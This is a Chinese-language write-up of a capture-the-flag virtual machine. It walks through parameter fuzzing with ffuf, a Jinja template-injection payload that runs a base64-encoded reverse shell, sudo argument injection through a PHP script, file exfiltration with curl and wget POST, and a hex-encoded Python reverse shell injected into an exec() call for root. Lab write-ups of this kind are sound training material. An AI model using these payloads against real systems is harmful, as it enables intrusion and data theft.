background

学到了很多东西 这个靶机是我目前这段时间做过的最有意思的一个了

打点

开了个80和5000 80这不知道是什么东西 5000啥也没有

image-20250225111230707

22端口可以匿名访问 尝试了下没有生成文件的权限,ftp里对应的文件也不是web目录的

文件执行就是这个样子 没有可用信息

image-20250225111422626

逆一下 这堆insert不知道是干什么的

image-20250225111606221

可以看到对应的字符 得/sh*4d0w$s

image-20250225111703823

两个端口拼接了路径访问都没东西 在伪代码里直接转成char 得/sh4d0w$s

image-20250225112009831

访问5000端口有反应 提示我们需要参数 测了下不支持post参数 上了我有的所有字典 都找不到参数

image-20250225112056306

到这里就无解了 后面都是看了wp的 因为提权也确实提不动(没用系统漏洞 21年的靶机拿22年的cve提 没啥意义 重点是学习)

实际上80端口的提示就是参数的提示 组成和长度啥的都是leet语里面的 使用crunch可生成字典文件

crunch 6 6 1337leet > cs.txt

然后使用ffuz去fuzz 第一次用ffuz 真的好用啊 下次实战就用他了 这里参数错误的提示Size是8 所以我们过滤掉长度为8的响应

ffuf -w cs.txt -u 'http://192.168.116.54:5000/sh4d0w$s?FUZZ=1' -fs 8

得到l333tt

image-20250225113341590

输入什么就返回什么 经典的ssti

image-20250225113441151

getshell即可

http://192.168.116.54:5000/sh4d0w$s?l333tt={%for(x)in().__class__.__base__.__subclasses__()%}{%if%27war%27in(x).__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%27echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMTYuMjM1LzEyMzQgMD4mMQ==|base64%20-d|bash%20-i%27).read()}}{%endif%}{%endfor%}

image-20250225113559208

横向-1

能够直接用kori的权限执行 /bin/php /home/kori/jail.php *

image-20250225113650781

生成交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'  

我自己做的时候也看到这个sudo的东西了 也看了下这个php文件 我以为是跑这个程序 然后rce拿kori的权限

image-20250225114605215

但是要密码 没思路了

image-20250225115818671

看别人的文章好神奇 直接可以在后面执行命令 后来咨询了下绿盟的高工 他一眼就看出来了

image-20250225114221225

所以这里随随便便就能拿kori权限了 反弹shell

sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.5.150:8899 EXEC:sh

或者进python反弹shell

sudo -u kori /bin/php /home/kori/jail.php python

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.116.235",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

image-20250225120251849

横向-2

可以cp这个apk

image-20250225120405018

给权限 移文件

chmod 777 -R /home/kori
sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

东西过去了之后得想办法拿出来 这里当然可以本地起python 但是实战中起了也没啥用 端口大概率不映射

image-20250225120806161

尝试用curl或wget外带(这里wget带不出来 机子没有curl 懒得折腾了 还是用python开端口下了)

curl -X POST -F xx=@2.txt 127.0.0.1:8080
wget --post-file url.txt 127.0.0.1:4444

起一个python接收就行了 这里文件上传的参数是file

from flask import Flask, request, jsonify
import os

app = Flask(__name__)

# 设置上传文件的保存目录
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

# 确保上传目录存在
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)

@app.route('/upload', methods=['POST'])
def upload_file():
# 检查请求中是否包含文件
if 'file' not in request.files:
return jsonify({'error': 'No file part in the request'}), 400

file = request.files['file']

# 检查文件是否为空
if file.filename == '':
return jsonify({'error': 'No file selected for uploading'}), 400

if file:
# 保存文件到指定目录
file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
return jsonify({'message': f'File {file.filename} uploaded successfully'}), 200

if __name__ == '__main__':
app.run(debug=True)

这里要注意原来的权限问题

直接sudo执行拿过来的文件 还是原来的文件属性

image-20250225144331872

那就创建一个授权 然后再考过来就行了

touch irida.apk

image-20250225145614060

sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

image-20250225145652239

是一个apk 安装是一个登录页面

image-20250225152311232

那就逆一下 账号是irida 密码放到lexiko 拼接了点

eye.of.the.tiger.()

image-20250225153028987

账号密码没问题 登进去了

image-20250225153450067

ssh的密码需要去掉一个点 6的 最终密码是eye.of.the.tiger()

image-20250225154043775

image-20250225154200624

image-20250225154217515

提权

能直接sudo一个脚本

image-20250225154318287

但是里面的问题看不到 只能盲打 运行了进入一个输入页面 随便输出就报错了 显示了部分代码 这里是对name进行了hex解码

image-20250225154454825

对字符串编码传入 思路没问题 同时还看到的name是exec包裹了的

image-20250225154915138

尝试执行输出 没问题

print("ss34")
7072696e742822737333342229

image-20250225155317443

弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.116.235",12));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223139322e3136382e3131362e323335222c313229293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b6f732e6475703228732e66696c656e6f28292c32293b696d706f7274207074793b207074792e737061776e282273682229

image-20250225155947427